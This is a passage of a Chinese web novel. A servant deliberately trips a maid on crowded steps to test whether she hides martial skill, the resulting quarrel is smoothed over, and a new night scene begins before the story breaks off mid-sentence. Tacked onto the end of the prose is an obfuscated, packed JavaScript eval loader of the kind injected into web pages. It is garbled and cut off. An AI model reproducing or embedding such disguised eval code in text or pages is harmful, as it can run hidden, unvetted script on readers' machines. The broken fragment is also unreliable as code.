扶着,走到侍剑面前,厉声质问道:“你想摔死我一人也就罢了,带累这么多人是什么道理!我可有什么得罪你的?”
“我……”侍剑涨红了脸,求救地看向缓步走下来的周冶,又看回雪,“我……不是故意的,我就是……不小心……”
怎么会是侍剑?洗墨一听也惊了。但不等想明白,他就先快嘴地帮腔起来:“回雪姑娘,误会!这一定是误会!他这人,你也不是第一天认识,从来都是锄强扶弱,见义勇为!他帮人不奇怪,要说使绊子害人……怎么可能呢?别提还要连累这么些人了。”
“不小心?”回雪冷笑一声,一脸“蒙谁呢”的样子,连连问道,“怎么不对着别人不小心?怎么偏偏在这高阶之上不小心?怎么他不小心,自己倒没摔着?”
侍剑的脸已经成了猪肝色,又看向周冶:“不是……我……真的不是……”
洗墨看他的样子,心中已经有点数了,忙拍着胸脯替侍剑又是赌咒发誓,又是解释说和的。
孟珂自然早看明白了。她轻提裙摆,款步而下,意味深长地笑道:“我看侍剑……定然不会故意害你,早前更是多次出手救过我们。就不要再说什么故意谋害的话了。”
说着,又笑着对侍剑道,“她一时气恼,乱说话。你可不要往心里去。”
侍剑哪里还好意思开口。
回雪揉着摔疼的手肘,狠狠地瞪了一眼,扭开脸不言语了。
被那一记眼刀扫到,侍剑当即哆嗦了一下,原就低着的头更低了,恨不能缩成一团,找个地缝钻进去。他这辈子都没干过这种欺负人的事,还别提欺负个女子——虽然是个一眼就让他胆寒的女子。
卢宽一开始就要上前,却被孟珂悄悄拉住了,这才站在一旁没吱声。
见孟珂表了态,他才站出来,圆场道:“好了,好了,这牙齿和舌头都还难免磕碰呢。走吧!都别在这台阶上站着了,挡人路,也不安全。回雪,你也到前头,找个地方坐下来,歇会儿再走。”
众人闻言都开始走动,此事便算就此揭过了。
***
待孟珂主仆几人走到前面,洗墨才低声问:“到底怎么回事?”
侍剑一脸委屈地分辩道:“不是我……是公子……”
周冶心头火起,剜了他一眼:“我让你去试,没让你这么……”
声音不自觉便大了,他扫了一眼前面,压低了道,“你什么时候试不行,非得在这么多人面前试?在什么地方试不行,非得在这种地方……还连累无辜!今日幸而没造成人群踩踏,若真那样,我看你怎么收场。”
“我……我没想那么多,就伸脚……轻轻绊了一下。谁知道,她就那么滚下去了!”
说着,侍剑幽怨地看向洗墨,“我就是在船上听到洗墨说,好多人在台阶上挤摔了,这才想着,趁人多,不小心地......绊那么一下。”
得,若不然,他还真想不到这法子。周冶摇了摇头,哭笑不得地拂袖而去。
这一场闹剧,表面尴尬的是侍剑,可真正尴尬的人其实是他——他在试回雪,查孟珂这事,便昭然若揭了。
也正是知道他这份用意,孟珂才未挑破。可饶是人不揭穿,他也等于当众被扒了个精光。
恼火又无奈之余,周冶停了步,转头去看低头跟在后面的侍剑:“不绊也绊了,依你看,那回雪……”
侍剑抬起脸,飞快地道:“脚下无力,下盘虚空,而且也全无防备——不像是有身手的样子。”
难道是他自己多想了?周冶疑惑道。
“你们为何要试回雪的身手?”洗墨终于抓到了重点。
周冶看了侍剑一眼,转身走前面去了,丢下一句:“你说吧。”
***
这日清晨,四更过半,一个人影摸到了周冶所住的客房。
只轻轻一叩,门就开了。
来人正是侍剑。周冶跟他互相点了点头,摸黑
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();